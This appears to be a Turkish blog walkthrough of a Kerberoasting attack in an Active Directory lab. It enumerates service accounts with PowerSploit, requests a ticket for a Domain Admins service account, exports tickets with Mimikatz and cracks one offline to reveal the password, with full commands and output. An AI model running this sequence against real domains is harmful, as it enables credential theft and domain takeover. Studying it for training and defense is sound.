İçeriğe geç

SPN’i Kötüye Kullanma

Servis Hesapları yüksek yetkili kullanıcılar olmamalıdır. Çünkü bu hesapların kolay bir şekilde ktüye kullanabilir. Aynı zamanda kurumdaki şifre politikasıda burada son derece önemlidir. Kolay şifrelere sahip servis hesaplarıkaba kuvvet saldırıları ile kısa sürede kırılabilir. Şimdi bu durumu simule edeceğiz.

İlk olarak SPN değerleri boş olmayan kullanıcıları listeyeleyim.

PS C:\Windows\system32> Import-Module C:\ad\PowerSploit\Recon\Recon.psd1
PS C:\Windows\system32> Get-NetUser -SPN | select cn

cn
--
krbtgt
web svc
svc admin
Support121User

Tespit ettiğimiz kullanıcılar baktığımızda svc admin bizim için çok ilgi çekiici, bunun sebebi bu kullanıcının dahil olduğu gruplardan kaynaklanmaktadır.

PS C:\Windows\system32> Get-NetGroup -MemberIdentity "svc admin" | select samaccountname

samaccountname
--------------
Denied RODC Password Replication Group
Domain Admins
Domain Users

Hemen bu kullanıcı için bir bilet isteğinde bulunalım. Daha sonra bu bileti RAM’den mimikatz aracılığı ile ayıklayıp, kaba kuvvet saldırısı ile kırmayı deneyelim. Tabi ki ilk olarak SPN değerine ihtiyacımız var.

PS C:\Windows\system32> Get-NetUser | Where-Object{$_.cn -match "svc admin"} | select serviceprincipalname

serviceprincipalname
--------------------
{MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433, MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local}

Şimdi bilet isteğinde bulunalım.

PS C:\Windows\system32> Add-Type -AssemblyNAme System.IdentityModel
PS C:\Windows\system32> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

Id                   : uuid-c907f4b7-782b-4410-9c25-42677f8f14d0-1
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 1/24/2021 12:49:27 PM
ValidTo              : 1/24/2021 10:34:48 PM
ServicePrincipalName : MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

Şimdi mimikatz ile biletleri export edelim.

PS C:\Users\student130\Desktop\tickets> Import-Module C:\ad\Invoke-Mimikatz.ps1
PS C:\Users\student130\Desktop\tickets> Invoke-Mimikatz -Command '"kerberos::list /export"'

  .#####.   mimikatz 2.1.1 (x64) built on Nov 29 2018 12:37:56
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # kerberos::list /export

[00000000] - 0x00000012 - aes256_hmac
   Start/End/MaxRenew: 1/24/2021 4:34:48 AM ; 1/24/2021 2:34:48 PM ; 1/31/2021 4:34:48 AM
   Server Name       : krbtgt/DOLLARCORP.MONEYCORP.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL
   Client Name       : student130 @ DOLLARCORP.MONEYCORP.LOCAL
   Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
   * Saved to file     : 0-40e10000-student130@krbtgt~DOLLARCORP.MONEYCORP.LOCAL-DOLLARCORP.MONEYCORP.LOCAL.kirbi

[00000001] - 0x00000017 - rc4_hmac_nt
   Start/End/MaxRenew: 1/24/2021 4:49:27 AM ; 1/24/2021 2:34:48 PM ; 1/31/2021 4:34:48 AM
   Server Name       : MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL
   Client Name       : student130 @ DOLLARCORP.MONEYCORP.LOCAL
   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;
   * Saved to file     : 1-40a10000-student130@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi

[00000002] - 0x00000017 - rc4_hmac_nt
   Start/End/MaxRenew: 1/24/2021 4:36:06 AM ; 1/24/2021 2:34:48 PM ; 1/31/2021 4:34:48 AM
   Server Name       : ldap/dcorp-dc.dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL
   Client Name       : student130 @ DOLLARCORP.MONEYCORP.LOCAL
   Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
   * Saved to file     : 2-40a50000-student130@ldap~dcorp-dc.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi

[00000003] - 0x00000017 - rc4_hmac_nt
   Start/End/MaxRenew: 1/24/2021 4:34:48 AM ; 1/24/2021 2:34:48 PM ; 1/31/2021 4:34:48 AM
   Server Name       : LDAP/dcorp-dc.dollarcorp.moneycorp.local/dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL
   Client Name       : student130 @ DOLLARCORP.MONEYCORP.LOCAL
   Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
   * Saved to file     : 3-40a50000-student130@LDAP~dcorp-dc.dollarcorp.moneycorp.local~dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi

PS C:\Users\student130\Desktop\tickets>

Ve artık kırma zamanı!


PS C:\Users\student130\Desktop\tickets> python.exe C:\AD\kerberoast\tgsrepcrack.py C:\AD\kerberoast\10k-worst-pass.txt .\1-40a10000-student130@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi
found password for ticket 0: *ThisisBlasphemyThisisMadness!!  File: .\1-40a10000-student130@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi
All tickets cracked!

Harika! Şifreyi kırdı.

Kategori:Active DirectoryPowerShell

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir